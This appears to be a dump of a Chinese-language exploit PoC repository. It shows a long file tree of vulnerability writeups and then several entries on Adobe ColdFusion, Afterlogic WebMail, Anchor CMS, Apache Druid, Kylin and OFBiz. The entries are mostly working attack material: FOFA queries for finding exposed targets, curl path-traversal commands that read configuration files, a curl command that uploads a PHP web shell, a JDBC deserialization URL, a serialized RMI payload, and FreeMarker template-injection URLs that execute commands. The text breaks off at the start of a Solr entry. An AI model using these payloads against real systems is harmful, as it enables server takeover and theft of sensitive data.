├── Adminer SSRF（CVE-2021-21311）.md ├── Adobe ColdFusion 远程代码执行漏洞（CVE-2021-21087）.md ├── Afterlogic Aurora & WebMail Pro 任意文件读取（CVE-2021-26294）.md ├── Afterlogic Aurora & WebMail Pro 文件上传漏洞（CVE-2021-26293）.md ├── Anchor CMS 0.12.7 跨站请求伪造（CVE-2020-23342）.md ├── Apache Druid 远程代码执行漏洞（CVE-2021-25646）.md ├── Apache Druid 远程代码执行漏洞（CVE-2021-26919）.md ├── Apache Kylin API未授权访问漏洞（CVE-2020-13937）.md ├── Apache NiFi Api 远程代码执行(RCE).md ├── Apache OFBiz RMI Bypass RCE（CVE-2021-29200）.md ├── Apache OFBiz RMI反序列化任意代码执行（CVE-2021-26295）.md ├── Apache OFBiz 反序列化（CVE-2021-30128）.md ├── Apache OfBiz 服务器端模板注入（SSTI）.md ├── Apache OfBiz 远程代码执行（RCE）.md ├── Apache Shiro < 1.7.1 权限绕过漏洞（CVE-2020-17523）.md ├── Apache Solr Replication handler SSRF（CVE-2021-27905）.md ├── Apache Solr stream.url任意文件读取漏洞.md ├── Apache Solr<= 8.8.2 (最新) 任意文件删除.md ├── Apache Velocity 远程代码执行 (CVE-2020-13936).md ├── Appspace 6.2.4 SSRF (CVE-2021-27670).md ├── BIG-IP 缓冲区溢出漏洞 (CVE-2021-22991).md ├── BIG-IP- BIG-IQ iControl REST 未经身份验证的RCE (CVE-2021-22986).md ├── BloofoxCMS 0.5.2.1 存储型XSS.md ├── Bypass for Microsoft Exchange远程代码执行 CVE-2020-16875.md ├── C-Lodop打印机任意文件读取漏洞.md ├── CISCO ASA任意文件读取漏洞 (CVE-2020-3452).md ├── CNVD-2020-24741 JunAms内容管理系统文件上传漏洞.md ├── CNVD-C-2020-121325 禅道开源版文件上传漏洞.md ├── CVE-2019-12384 jackson ssrf-rce(附exp脚本).md ├── CVE-2020-10148 SolarWinds Orion API 远程代码执行漏洞.md ├── CVE-2020-10977 Gitlab任意文件读取导致远程命令执行.md ├── CVE-2020-13935 Apache Tomcat WebSocket 拒绝服务漏洞.md ├── CVE-2020-13942 Apache Unomi 远程代码执行.md ├── CVE-2020-14815 Oracle Business Intelligence XSS.md ├── CVE-2020-16846 SaltStack远程执行代码漏洞.md ├── CVE-2020-16898 | Windows TCP-IP远程执行代码漏洞 Exploit.md ├── CVE-2020-17083 Microsoft Exchange Server 远程执行代码漏洞.md ├── CVE-2020-17143 Microsoft Exchange 信息泄露漏洞 PoC.md ├── CVE-2020-17144 Exchange2010 反序列化RCE.md ├── CVE-2020-17518 Apache Flink 任意文件写入.md ├── CVE-2020-17519 Apache Flink 任意文件读取.md ├── CVE-2020-17532 Apache servicecomb-java-chassis Yaml 反序列化漏洞.md ├── CVE-2020-26238 Cron-Utils 远程代码执行(RCE)漏洞.md ├── CVE-2020-26258 XStream SSRF.md ├── CVE-2020-26259 XStream 任意文件删除.md ├── CVE-2020-26935 phpmyadmin后台SQL注入.md ├── CVE-2020-27131 Cisco Security Manager 反序列化RCE.md ├── CVE-2020-27533 DedeCMS v.5.8搜索功能 "keyword"参数XSS漏洞 PoC.md ├── CVE-2020-27986 SonarQube api 未授权访问.md ├── CVE-2020-29133 Coremail 存储型XSS.md ├── CVE-2020-29564 Consul Docker images 空密码登录漏洞.md ├── CVE-2020-35476 OpenTSDB 2.4.0 远程代码执行.md ├── CVE-2020-36179〜82 Jackson-databind SSRF＆RCE.md ├── CVE-2020-6019 Valve Game Networking Sockets 安全漏洞.md ├── CVE-2020-6308 SAP POC.md ├── CVE-2020-8209 XenMobile(Citrix Endpoint Management) 目录遍历漏洞.md ├── CVE-2020-8255 Pulse Connect Secure通过登录消息组件实现任意文件读取.md ├── CVE-2020-8277：Node.js通过DNS请求实现拒绝服务.md ├── CVE-2020–14882 Weblogic 未经授权绕过RCE.md ├── CVE-2020–24723 存储XSS的故事导致管理帐户接管.md ├── CVE-2020–4280 — IBM QRadar Java反序列化分析和绕过.md ├── CVE-2021-1791 Fairplay OOB Read POC.md ├── CVE-2021-3007 zend framework3 反序列化 rce.md ├── CVE-2021-3156 (Baron Samedit) Sudo 中基于堆的缓冲区溢出漏洞.md ├── Cacti SQL 注入漏洞（CVE-2020-14295）.md ├── Chrome 插件 Vue.js devtools UXSS.md ├── Chrome 远程代码执行漏洞 1Day（CVE-2021-21220）.md ├── Cisco HyperFlex HX 任意文件上传（CVE-2021-1499）.md ├── Cisco HyperFlex HX 命令注入（CVE-2021-1497-CVE-2021-1498）.md ├── CloudBees Jenkins和LTS 跨站脚本漏洞 CVE-2020-2229.md ├── Coremail论客邮件系统路径遍历与文件上传漏洞.md ├── D-LINK DIR-802 命令注入漏洞（CVE-2021-29379）.md ├── D-LINK DIR-841 命令注入（CVE-2021-28143）.md ├── D-LInk DNS320 FW v2.06B01 命令注入（CVE-2020-25506）.md ├── D-Link DAP-2020远程代码执行 (CVE-2021-27249-2021-27250).md ├── D-Link DCS系列监控 账号密码信息泄露 CVE-2020-25078.md ├── D-Link DIR-846路由器 命令注入 (CVE-2020-27600).md ├── D-Link DSR-250 DSR-1000N 命令注入（CVE-2020-18568）.md ├── D-link DSL-2888A 未授权访问漏洞 (CVE-2020-24579).md ├── D-link DSL-2888A 远程代码执行漏洞 (CVE-2020-24581).md ├── DD-WRT 缓冲区溢出漏洞（CVE-2021-27137）.md ├── DNS Server远程代码执行漏洞(CVE-2020-1350).md ├── DNSpooq PoC - dnsmasq cache poisoning (CVE-2020-25686, CVE-2020-25684, CVE-2020-25685).md ├── Dell BIOS驱动权限提升漏洞（CVE-2021-21551）.md ├── Dell OpenManage Server Administrator 任意文件读取 (CVE-2021-21514).md ├── Discuz 3.4 最新版后台getshell.md ├── Docker 容器逃逸漏洞（CVE-2020-15257）.md ├── ERPNext 13.0.0-12.18.0 中的SQL注入漏洞.md ├── ERPNext 13.0.0-12.18.0 中的多个XSS漏洞.md ├── Eclipse Jetty 拒绝服务 (CVE-2020-27223).md ├── Eclipse Theia < 0.16.0 Javascript注入 (CVE-2021-28162).md ├── Emlog v5.3.1 - v6.0.0 后台 RCE（CVE-2021-31737）.md ├── Emlog v6.0.0 ZIP插件GETSHELL（CVE-2020-21585）.md ├── ExifTool 任意代码执行漏洞 (CVE-2021-22204).md ├── FastAdmin 框架远程代码执行漏洞.md ├── FortiLogger-未经身份验证的任意文件上传（CVE-2021-3378）.md ├── Fuel CMS 1.4.1 远程代码执行.md ├── Git <= 2.29.2 Git-LFS-RCE-Exploit-CVE-2020-27955.md ├── Git CLI远程代码执行漏洞（CVE-2020-26233）.md ├── Git LFS 远程代码执行漏洞 CVE-2020–27955.md ├── GitLab Graphql 邮件地址信息泄露 (CVE-2020-26413).md ├── Gitlab Kramdown RCE（CVE-2021-22192）.md ├── Gitlab SSRF-信息泄漏漏洞 (CVE-2021-22178-CVE-2021-22176).md ├── Gitlab 敏感信息泄露漏洞 (CVE-2021-22188).md ├── Gogs Git Hooks 远程代码执行漏洞（CVE-2020-15867）.md ├── GravCMS未经身份验证的任意YAML写入-RCE（CVE-2021-21425）.md ├── H3C-SecPath-运维审计系统(堡垒机)任意用户登录.md ├── HTTP协议栈远程代码执行漏洞（CVE-2021-31166）.md ├── IBM Maximo Asset Management XXE漏洞（CVE-2020-4463）.md ├── IBOS酷办公系统 后台命令执行.md ├── IE 脚本引擎 jscript9.dll 内存损坏漏洞（CVE-2021-26419）.md ├── Infinite WP管理面板中的身份验证绕过和RCE（CVE-2020-28642）.md ├── Internet Explorer内存损坏漏洞（CVE-2021-26411）.md ├── Ivanti Avalanche 目录遍历漏洞.md ├── JD-FreeFuck 后台命令执行漏洞.md ├── JEEWMS 未授权任意文件读取漏洞.md ├── Jackson-databind RCE（CVE-2020-35728）.md ├── Jellyfin 任意文件读取（CVE-2021-21402）.md ├── Joomla CMS 框架 ACL 安全访问控制漏洞（CVE-2020-35616）.md ├── Joomla com_media 后台 RCE (CVE-2021-23132).md ├── JumpServer远程执行漏洞.md ├── KEADCOM 数字系统接入网关任意文件读取漏洞.md ├── Kubernetes 准入机制绕过（CVE-2021-25735）.md ├── Laravel <= V8.4.2 Debug模式远程代码执行漏洞（CVE-2021-3129）.md ├── LightCMS 存储型XSS（CVE-2021-3355）.md ├── Linksys WRT160NL 身份验证命令注入（CVE-2021-25310）.md ├── Mark Text Markdown 编辑器RCE（CVE-2021-29996）.md ├── Maxum Rumpus 命令注入漏洞（CVE-2020-27575）.md ├── MediaWiki <1.3.1.2 跨站脚本攻击(XSS)（CVE-2021-30157）.md ├── MessageSolution 企业邮件归档管理系统任意文件上传（CNVD-2021-10543）.md ├── MessageSolution 企业邮件归档管理系统信息泄露漏洞 CNVD-2021-10543.md ├── Microsoft Edge浏览器 45.9.5地址栏欺骗POC.md ├── Microsoft Exchange SSRF（CVE-2021-26855）.md ├── Microsoft Exchange Server远程执行代码漏洞（CVE-2021-28482）.md ├── Microsoft Graphics Components 代码执行漏洞 (CVE-2021-24093).md ├── Microsoft Windows 10 蓝屏死机漏洞.md ├── Microsoft Windows NTFS磁盘损坏漏洞.md ├── Microsoft Windows10 本地提权漏洞（CVE-2021-1732）.md ├── MinIO未授权SSRF漏洞（CVE-2021-21287）.md ├── MyBB sql注入导致的远程代码执行 (CVE-2021-27890).md ├── NETGEAR R7000 缓冲区溢出漏洞（CVE-2021-31802）.md ├── NPM VSCode扩展中的RCE（CVE-2021-26700）.md ├── Nacos Bypass身份验证.md ├── Nagios Network Analyzer SQL 注入漏洞（CVE-2021-28925）.md ├── Nagios XI 5.7.X 远程代码执行.md ├── Nagios 代码注入漏洞 (CVE-2021-3273).md ├── Netgear JGS516PE-GS116Ev2 交换机中多个高危漏洞.md ├── Nexus Repository Manager 3 XML外部实体注入(CVE-2020-29436).md ├── Node.js命令注入漏洞（CVE-2021-21315）.md ├── Nokia G-120W-F 路由器存储型XSS（CVE-2021-30003）.md ├── OneBlog开源博客管理系统 远程命令执行.md ├── OneDev 多个高危漏洞 （CVE-2021-21242~51）.md ├── Open5GS 默认密码漏洞 (CVE-2021-25863).md ├── OpenCMS 11.0.2 文件上传到命令执行.md ├── OpenSSL 拒绝服务漏洞（CVE-2021-3449）.md ├── PEGA pega infinity 授权认证绕过RCE（CVE-2021-27651）.md ├── PHP Composer命令注入漏洞（CVE-2021-29472）.md ├── PHP图像处理组件：Intervention-image 目录遍历漏洞.md ├── Packer-Fuzzer 漏扫工具 < 1.2 远程代码执行漏洞.md ├── Palo Alto PAN-OS 防火墙多个漏洞.md ├── Panabit 智能应用网关 后台命令执行漏洞.md ├── Pydio 网盘系统 RCE （CVE-2020-28913）.md ├── QNAP QTS Surveillance Station插件远程代码执行漏洞（CVE-2021-28797）.md ├── RDoc 命令注入（CVE-2021-31799）.md ├── README.md ├── Ruby目录遍历漏洞（CVE-2021-28966）.md ├── SAP_EEM_CVE-2020-6207 PoC.md ├── SaltStack命令注入漏洞（CVE-2021-31607）.md ├── Saltstack 未授权RCE漏洞 （CVE-2021-25281-25282-25283）.md ├── SeaCMS SQL注入漏洞（CVE-2020-21378）.md ├── ShopXO 任意文件读取漏洞（CNVD-2021-15822）.md ├── ShowDoc 前台文件上传漏洞.md ├── SonicWall SSL-VPN 未授权RCE漏洞.md ├── Steam远程代码执行漏洞（CVE-2021-30481）.md ├── Struts2 s2-061 Poc (CVE-2020-17530).md ├── TG8 防火墙中的 RCE 和密码泄漏.md ├── TP-Link AC1750 预认证远程代码执行漏洞（CVE-2021-27246）.md ├── TP-Link TL-WR841N远程代码执行漏洞（CVE-2020-35576）.md ├── TP-Link WR2041 v1拒绝服务漏洞（CVE-2021-26827）.md ├── TP-link 栈溢出漏洞（CVE-2021-29302）.md ├── TVT数码科技 NVMS-1000 路径遍历漏洞.md ├── TerraMaster TOS 未授权 RCE (CVE-2020-28188).md ├── Thymeleaf 3.0.12 RCE Bypass.md ├── Typora 0.9.67 XSS到RCE（CVE-2020-18737）.md ├── UCMS文件上传漏洞(CVE-2020-25483).md ├── Ubuntu OverlayFS 权限提升漏洞（CVE-2021-3493）.md ├── VMware View Planner 未授权RCE (CVE-2021-21978).md ├── VMware Workspace ONE Access 命令注入漏洞（CVE-2020-4006）.md ├── VMware vCenter Server 服务器端请求伪造漏洞 (CVE-2021-21973).md ├── VMware vCenter Server 远程执行代码漏洞 (CVE-2021-21972).md ├── VMware vCenter 未经身份验证任意文件读取漏洞 < 6.5u1.md ├── VMware vRealize Operations Manager API SSRF漏洞 (CVE-2021-21975).md ├── VoIPmonitor UnAuth RCE（CVE-2021-30461）.md ├── Wazuh Manager 代码执行漏洞（CVE-2021-26814）.md ├── WebMail Pro 7.7.9 目录遍历 (CVE-2021-26294).md ├── Weblogic Server远程代码执行漏洞 (CVE-2021-2109).md ├── Weblogic Server远程代码执行漏洞（CVE-2020-14756）.md ├── Webmin <=1.962 任意命令执行（CVE-2020-35606）.md ├── Webmin 多个高危漏洞（CVE-2021-31760~62）.md ├── Windows Install(WMI)越权漏洞（CVE-2020-0683).md ├── Windows Installer File Read 0day.md ├── Windows TCP-IP拒绝服务漏洞 (CVE-2021-24086).md ├── Windows容器管理器服务提升权限漏洞（CVE-2021-31169）.md ├── WordPress 5.6-5.7-经过身份验证的XXE（CVE-2021-29447）.md ├── WordPress Elementor Page Builder Plus插件身份验证绕过（CVE-2021-24175）.md ├── WordPress File Manager ＜ 6.9 RCE（CVE-2020-25213）PoC.md ├── WordPress GiveWP 2.9.7 反射型XSS（CVE-2021-24213）.md ├── WordPress WP Super Cache 插件 < 1.7.2 RCE（CVE-2021-24209）.md ├── WordPress 插件SuperForms 4.9-任意文件上传到远程代码执行.md ├── WordPress插件Tutor LMS SQL注入漏洞（CVE-2021-24186）.md ├── XStream 1.4.16 多个RCE（CVE-2021-21344~50）.md ├── Xmind 2020 XSS漏洞导致命令执行.md ├── YouPHPTube <= 10.0 and 7.8 多个漏洞 SQL注入、XSS、文件写入.md ├── Zen Cart 1.5.7b 任意命令执行（CVE-2021-3291）.md ├── Zoho 任意文件上传漏洞(CVE-2020-8394).md ├── Zyxel NBG2105 身份验证绕过（CVE-2021-3297）.md ├── Zyxel USG Series 账户硬编码漏洞（CVE-2020-29583）.md ├── arpping 2.0.0 远程代码执行（RCE）.md ├── cve-2020-14882-weblogic越权绕过登录RCE批量检测.md ├── images ├── 16106764876967.jpg ├── 16106765066847.jpg ├── 16107164481030.jpg ├── 16111463128724.jpg ├── 16113243229970.jpg ├── 16113243347850.jpg ├── 16113243420968.jpg ├── 16115656107779.jpg ├── 16115656542559.jpg ├── 16115656597330.jpg ├── 16116291613423.jpg ├── 16116664946838.jpg ├── 16116665275577.jpg ├── 16116665373943.jpg ├── 16120234683238.jpg ├── 16122559201818.jpg ├── 16133783853910.jpg ├── 16133785780018.jpg ├── 16133786592286.jpg ├── 16133787776790.jpg ├── 16133787994051.jpg ├── 16133789299379.jpg ├── 16142224147525.jpg ├── 16158583105399.jpg ├── 16158583337487.jpg ├── 16158593231899.jpg ├── 16158605326396.jpg ├── README.md ├── SamsungWLANAP.png └── logo.jpeg ├── jQuery >=1.0.3 <3.5.0 XSS (CVE-2020-11022-CVE-2020-11023).md ├── jinja服务端模板注入漏洞.md ├── lanproxy 目录遍历漏洞（CVE-2020-3019）.md ├── media ├── 16215832926594 │ └── 16215833292331.jpg ├── 16215838843080 │ └── 16215839880736.jpg ├── 16215843577504 │ └── 16215844065112.jpg ├── 16215847478584 │ └── 16215847933888.jpg ├── 16215855485022 │ └── 16215855715459.jpg ├── 16215868078702 │ └── 16215868539351.jpg ├── 16215873291906 │ └── 16215873565851.jpg └── 16215889743656 │ └── 16215890003872.jpg ├── nagios-xi-5.7.5 多个漏洞（CVE-2021-25296~99）.md ├── rConfig 3.9.6 远程 Shell Upload.md ├── xxl-job 执行器 RESTful API 未授权访问 RCE.md ├── yycms首页搜索框 XSS漏洞.md ├── zzzcms 远程代码执行漏洞（CVE-2021-32605）.md ├── 三星路由器WLAN AP WEA453e 未授权RCE等多个漏洞.md ├── 中新金盾信息安全管理系统 默认密码漏洞.md ├── 云尚在线客服系统任意文件上传.md ├── 亿邮邮件系统远程命令执行漏洞 (CNVD-2021-26422).md ├── 会捷通云视讯 敏感信息泄漏.md ├── 佑友防火墙 后台RCE-默认口令.md ├── 华硕-GT-AC2900-身份验证绕过（CVE-2021-32030）.md ├── 员工管理系统(Employee Management System)1.0 身份验证绕过.md ├── 和信创天云桌面系统命令执行，文件上传 全版本 RCE.md ├── 天清汉马USG防火墙 逻辑缺陷漏洞 CNVD-2021-12793.md ├── 奇安信NS-NGFW 网康下一代防火墙 前台RCE.md ├── 奇安信天擎 越权访问.md ├── 孚盟云 CRM系统多个高危漏洞.md ├── 安天高级可持续威胁安全检测系统 越权访问漏洞.md ├── 宏电 H8922 路由器中多个漏洞（CVE-2021-28149~52）.md ├── 帆软 V9未授权RCE漏洞.md ├── 帆软报表 v8.0 任意文件读取漏洞 CNVD-2018-04757.md ├── 微信客户端远程命令执行漏洞.md ├── 思福迪堡垒机(Logbase)任意用户登录-默认口令.md ├── 日产聆风电动汽车(Leaf EV) 2018款本地拒绝服务漏洞.md ├── 智慧校园管理系统 前台任意文件上传.md ├── 朗视TG400 GSM 网关目录遍历 (CVE-2021-27328).md ├── 泛微 OA 前台 GetShell 复现.md ├── 泛微OA E-cology WorkflowServiceXml 远程代码执行漏洞.md ├── 泛微e-cology任意文件上传.md ├── 浪潮 ClusterEngineV4.0 集群管理系统 命令执行漏洞 (CVE-2020-21224).md ├── 海康威视 流媒体管理服务器任意文件读取-通用弱口令 CNVD-2021-14544.md ├── 爱快(iKuai) 后台任意文件读取(0day).md ├── 狮子鱼社区团购系统 wxapp.php 文件上传漏洞.md ├── 用友 NCCloud FS文件管理SQL注入.md ├── 用友 U8 OA test.jsp SQL注入漏洞.md ├── 用友NC 6.5 反序列化命令执行.md ├── 用友nc 6.5 文件上传 PoC.md ├── 碧海威科技 L7 多款产品 后台命令执行.md ├── 网康 NS-ASG安全网关 任意文件读取漏洞.md ├── 腾达路由器 AC11 堆栈缓冲区溢出（CVE-2021-31758）.md ├── 腾达路由器 D151-D31未经身份验证的配置下载.md ├── 致远OA A8-V5 任意文件读取.md ├── 若依(RuoYi)管理系统 后台任意文件读取.md ├── 蓝凌OA EKP 后台SQL注入漏洞 CNVD-2021-01363.md ├── 蓝凌OA custom.jsp 任意文件读取漏洞.md ├── 蓝凌OA 前台 SSRF 到 RCE.md ├── 蓝海卓越计费管理系统 任意文件读取漏洞.md ├── 通达OA11.7 任意用户登陆.md ├── 通达OA11.7 未授权RCE.md ├── 通达OA11.9 低权限SQL注入漏洞.md ├── 金和OA C6 后台越权敏感文件遍历漏洞.md ├── 金山 V8 终端安全系统 pdf_maker.php 未授权 RCE.md ├── 金山 V8 终端安全系统 任意文件读取漏洞.md ├── 金山终端安全系统 V8-V9存在文件上传漏洞.md ├── 银澎云计算 好视通视频会议系统 任意文件下载.md ├── 锐捷 EG 易网关RCE 0day.md ├── 锐捷-EWEB网管系统RCE.md ├── 锐捷RG-UAC 账户硬编码漏洞.md ├── 锐捷SSL VPN 越权访问漏洞.md ├── 锐捷Smartweb管理系统 密码信息泄露 CNVD-2021-17369.md ├── 阿里巴巴otter manager分布式数据库同步系统信息泄漏-默认口令（CNVD-2021-16592）.md ├── 飞鱼星 家用智能路由 cookie.cgi 权限绕过.md ├── 默安幻阵蜜罐安装平台未授权访问.md └── 齐治堡垒机任意用户登陆.md /Adobe ColdFusion 远程代码执行漏洞（CVE-2021-21087）.md: -------------------------------------------------------------------------------- 1 | # Adobe ColdFusion 远程代码执行漏洞（CVE-2021-21087） 2 | 3 | Adobe ColdFusion是一个快速应用程序开发平台。。Adobe ColdFusion 存在远程代码执行漏洞，由于过滤不严，未经授权的攻击者可构造恶意请求，造成任意代码执行，控制服务器。建议相关用户尽快采取安全措施阻止漏洞攻击。 4 | 5 | 影响范围 6 | 7 | * Adobe ColdFusion 2021 <= Version 2021.0.0.323925 8 | * Adobe ColdFusion 2018 <= Update 10 9 | * Adobe ColdFusion 2016 <= Update 16 10 | 11 | FOFA： 12 | 13 | ``` 14 | app="Adobe-ColdFusion" 15 | ``` 16 | 17 | PoC： 18 | 19 | ``` 20 | - method: GET 21 | path: 22 | - "{{BaseURL}}/cf_scripts/scripts/ajax/package/cfajax.js" 23 | - "{{BaseURL}}/cf-scripts/scripts/ajax/package/cfajax.js" 24 | - "{{BaseURL}}/CFIDE/scripts/ajax/package/cfajax.js" 25 | - "{{BaseURL}}/cfide/scripts/ajax/package/cfajax.js" 26 | - "{{BaseURL}}/CF_SFSD/scripts/ajax/package/cfajax.js" 27 | - "{{BaseURL}}/cfide-scripts/ajax/package/cfajax.js" 28 | - "{{BaseURL}}/cfmx/CFIDE/scripts/ajax/package/cfajax.js" 29 | 30 | regex: 31 | - 'eval\(\"\(\"\+json\+\"\)\"\)' 32 | ``` 33 | 34 | ref： 35 | 36 | * https://nosec.org/home/detail/4707.html 37 | * https://github.com/projectdiscovery/nuclei-templates/pull/1128/files 38 | * https://helpx.adobe.com/security/products/coldfusion/apsb21-16.html -------------------------------------------------------------------------------- /Afterlogic Aurora & WebMail Pro 任意文件读取（CVE-2021-26294）.md: -------------------------------------------------------------------------------- 1 | # Afterlogic Aurora & WebMail Pro 任意文件读取（CVE-2021-26294） 2 | 3 | 攻击者可以通过caldav_public_user@localhost用户登录，不需要其它用户信息就可以读取配置文件从而获得敏感信息。 4 | 5 | 影响版本： 6 | 7 | * WebMail Pro ≤ 7.7.9 8 | * Afterlogic Aurora ≤ 7.7.9 9 | 10 | PoC： 11 | 12 | 13 | ```bash 14 | curl -u 'caldav_public_user@localhost:caldav_public_user' "https://sample-mail.tld/dav/server.php/files/personal/%2e%2e/%2e%2e//%2e%2e//%2e%2e/data/settings/settings.xml" 15 | ``` 16 | 17 | ref： 18 | 19 | * http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-26294 20 | * https://github.com/E3SEC/AfterLogic/blob/main/CVE-2021-26294-exposure-of-sensitive-information-vulnerability.md 21 | * https://forum.ywhack.com/thread-115326-1-8.html -------------------------------------------------------------------------------- /Afterlogic Aurora & WebMail Pro 文件上传漏洞（CVE-2021-26293）.md: -------------------------------------------------------------------------------- 1 | # Afterlogic Aurora & WebMail Pro 文件上传漏洞（CVE-2021-26293） 2 | 3 | 该漏洞是由于Afterlogic Aurora & WebMail Pro中对上传的文件过滤和限制存在缺陷，攻击者可以通过上传恶意文件，从而执行任意代码。 4 | 5 | 影响版本： 6 | 7 | * WebMail Pro ≤ 7.7.9 8 | * Afterlogic Aurora ≤ 7.7.9 9 | 10 | **PoC：** 11 | 12 | ```bash 13 | curl -T shell.php -u 'caldav_public_user@localhost:caldav_public_user' "https://sample-mail.tld/dav/server.php/files/persona/%2e%2e/%2e%2e//%2e%2e//%2e%2e/data//%2e%2e//%2e%2e//%2e%2e//%2e%2e//%2e%2e//%2e%2e//%2e%2e//%2e%2e//%2e%2e//%2e%2e//%2e%2e//%2e%2e//%2e%2e//%2e%2e//%2e%2e//%2e%2e//%2e%2e//%2e%2e//%2e%2e//%2e%2e//%2e%2e//%2e%2e//%2e%2e/var/www/html/shell.php" 14 | ``` 15 | 16 | 默认路径为/var/www/html，也可能更改配置为其它路径，可以尝试其它方式获取。 17 | 18 | 19 | ```bash 20 | curl -X DELETE -u 'caldav_public_user@localhost:caldav_public_user' "https://sample-mail.tld/dav/server.php/files/personal/GIVE_ME_ERROR_TO_GET_DOC_ROOT_2021" 21 | //使用无效路径获取SabreDAV错误查看Webroot路径 22 | ``` 23 | 24 | ref： 25 | 26 | * http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-26293 27 | * https://github.com/E3SEC/AfterLogic/blob/main/CVE-2021-26293-rce-via-public-unrestricted-file-upload-vulnerability.md 28 | * https://forum.ywhack.com/thread-115325-1-8.html -------------------------------------------------------------------------------- /Anchor CMS 0.12.7 跨站请求伪造（CVE-2020-23342）.md: -------------------------------------------------------------------------------- 1 | # Anchor CMS 0.12.7 跨站请求伪造（CVE-2020-23342） 2 | 3 | FOFA: 4 | 5 | ``` 6 | "Anchor CMS" && body="themes/default/img/favicon.png" 7 | ``` 8 | 9 | **PoC：** 10 | 11 | Anchor CMS使用Get方法进行敏感操作，可以使用exploit.html进行删除用户等操作。 12 | 13 | **exploit.html：** 14 | 15 | ```html 16 | 17 | ``` 18 | 19 | 当管理员点击时删除ID为21的用户。 20 | 21 | ref： 22 | 23 | https://packetstormsecurity.com/files/161048/anchorcms0127-xsrf.txt -------------------------------------------------------------------------------- /Apache Druid 远程代码执行漏洞（CVE-2021-26919）.md: -------------------------------------------------------------------------------- 1 | # Apache Druid 远程代码执行漏洞（CVE-2021-26919） 2 | 3 | Apache Druid 是用Java编写的面向列的开源分布式数据存储，旨在快速获取大量事件数据，并在数据之上提供低延迟查询。2021年3月30日，Apache Druid官方发布安全更新，修复了 CVE-2021-26919 Apache Druid 远程代码执行漏洞。由于Apache Druid 默认情况下缺乏授权认证，攻击者可直接构造恶意请求执行任意代码，控制服务器。 4 | 5 | 影响版本 6 | 7 | Apache Druid < 0.20.2 8 | 9 | jdbc触发点：https://druid.apache.org/docs/0.19.0/development/extensions-core/druid-lookups.html#polling-lookup 10 | 11 | poc: 12 | 13 | ``` 14 | url = "jdbc:mysql://localhost:3307/?autoDeserialize=true&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor&maxAllowedPacket=65535" 15 | user ="cb1" 16 | password="password" 17 | ``` 18 | 19 | ref： 20 | 21 | * http://m0d9.me/2021/04/21/Apache-Druid-CVE-2021-26919-%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/ 22 | * https://help.aliyun.com/noticelist/articleid/1060822985.html -------------------------------------------------------------------------------- /Apache Kylin API未授权访问漏洞（CVE-2020-13937）.md: -------------------------------------------------------------------------------- 1 | # Apache Kylin API未授权访问漏洞（CVE-2020-13937） 2 | 3 | 4 | fofa:title="Kylin" 5 | 6 | 预警通告：https://help.aliyun.com/noticelist/articleid/1060733129.html 7 | 8 | PoC： 9 | 10 | ``` 11 | http://xx.com/kylin/api/admin/config 12 | ``` 13 | 14 | ![](media/16097311107960/16097311518750.jpg) 15 | -------------------------------------------------------------------------------- /Apache OFBiz RMI Bypass RCE（CVE-2021-29200）.md: -------------------------------------------------------------------------------- 1 | # Apache OFBiz RMI Bypass RCE（CVE-2021-29200） 2 | 3 | 4 | 由于Apache OFBiz存在Java RMI反序列化漏洞，未经身份验证的用户可以执行RCE攻击，导致服务器被接管。 5 | 6 | 影响版本： 7 | Apache OFBiz < 17.12.07 8 | 9 | 详细分析可以见：https://mp.weixin.qq.com/s/vM0pXZ5mhusFBsj1xD-2zw 10 | 11 | poc： 12 | 13 | ``` 14 | POST /webtools/control/SOAPService HTTP/1.1 15 | Host: xxx 16 | User-Agent: python-requests/2.24.0 17 | Accept-Encoding: gzip, deflate 18 | Accept: */* 19 | Connection: close 20 | Content-Type: text/xml 21 | Content-Length: 877 22 | 23 | 24 | 25 | 26 | 27 | 28 | 29 | 30 | 31 | ACED0005737200326A617661782E6D616E6167656D656E742E72656D6F74652E726D692E524D49436F6E6E656374696F6E496D706C5F5374756200000000000000020200007872001A6A6176612E726D692E7365727665722E52656D6F746553747562ECC98BE1651A0200007872001C6A6176612E726D692E7365727665722E52656D6F74654F626A656374D361B4910C61331E03000078707738000A556E6963617374526566000F3130342E3135362E3233312E3135300000270FFFFFFFFFEF34D1DB00000000000000000000000000000078 32 | 33 | 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | ``` 42 | 43 | poc.py：https://github.com/r0ckysec/CVE-2021-29200 44 | 45 | ref: 46 | 47 | * https://github.com/r0ckysec/CVE-2021-29200 48 | * https://mp.weixin.qq.com/s/vM0pXZ5mhusFBsj1xD-2zw 49 | * https://xz.aliyun.com/t/9556 50 | -------------------------------------------------------------------------------- /Apache OfBiz 服务器端模板注入（SSTI）.md: -------------------------------------------------------------------------------- 1 | # Apache OfBiz 服务器端模板注入（SSTI） 2 | 3 | 4 | Apache OfBiz 17.12.01容易受到服务器端模板注入（SSTI）的影响，从而导致远程代码执行（RCE）。 5 | 6 | FOFA： 7 | 8 | ``` 9 | app="Apache_OFBiz" 10 | ``` 11 | 12 | 服务器端模板注入 renderLookupField 13 | 14 | 从不可信数据流request.getParameter("`_LAST_VIEW_NAME_`")给一个FreeMarker的宏调用定义。具有特权以渲染任何包含查找字段的页面的攻击者将能够通过发送有效载荷来执行任意系统命令。 15 | 16 | **PoC：** 17 | 18 | ``` 19 | https://localhost:8443/ordermgr/control/FindQuote?_LAST_VIEW_NAME_=%22%2F%3E%24%7B%22freemarker.template.utility.Execute%22%3Fnew%28%29%28%22id%22%29%7D%3CFOO 20 | ``` 21 | 22 | from:https://securitylab.github.com/advisories/GHSL-2020-067-apache_ofbiz -------------------------------------------------------------------------------- /Apache OfBiz 远程代码执行（RCE）.md: -------------------------------------------------------------------------------- 1 | # Apache OfBiz 远程代码执行（RCE） 2 | 3 | Apache OfBiz 17.12.01容易受到服务器端模板注入（SSTI）的影响，从而导致远程代码执行（RCE）。 4 | 5 | FOFA： 6 | 7 | ``` 8 | app="Apache_OFBiz" 9 | ``` 10 | 11 | PoC: 12 | 13 | ``` 14 | https://localhost/ordermgr/control/FindRequest?foo=bar"ajaxEnabled=false/>${"freemarker.template.utility.Execute"?new()("id")} https://help.aliyun.com/noticelist/articleid/1060799995.html 21 | > https://www.anquanke.com/post/id/230935 -------------------------------------------------------------------------------- /Apache Solr Replication handler SSRF（CVE-2021-27905）.md: -------------------------------------------------------------------------------- 1 | # Apache Solr Replication handler SSRF（CVE-2021-27905） 2 | 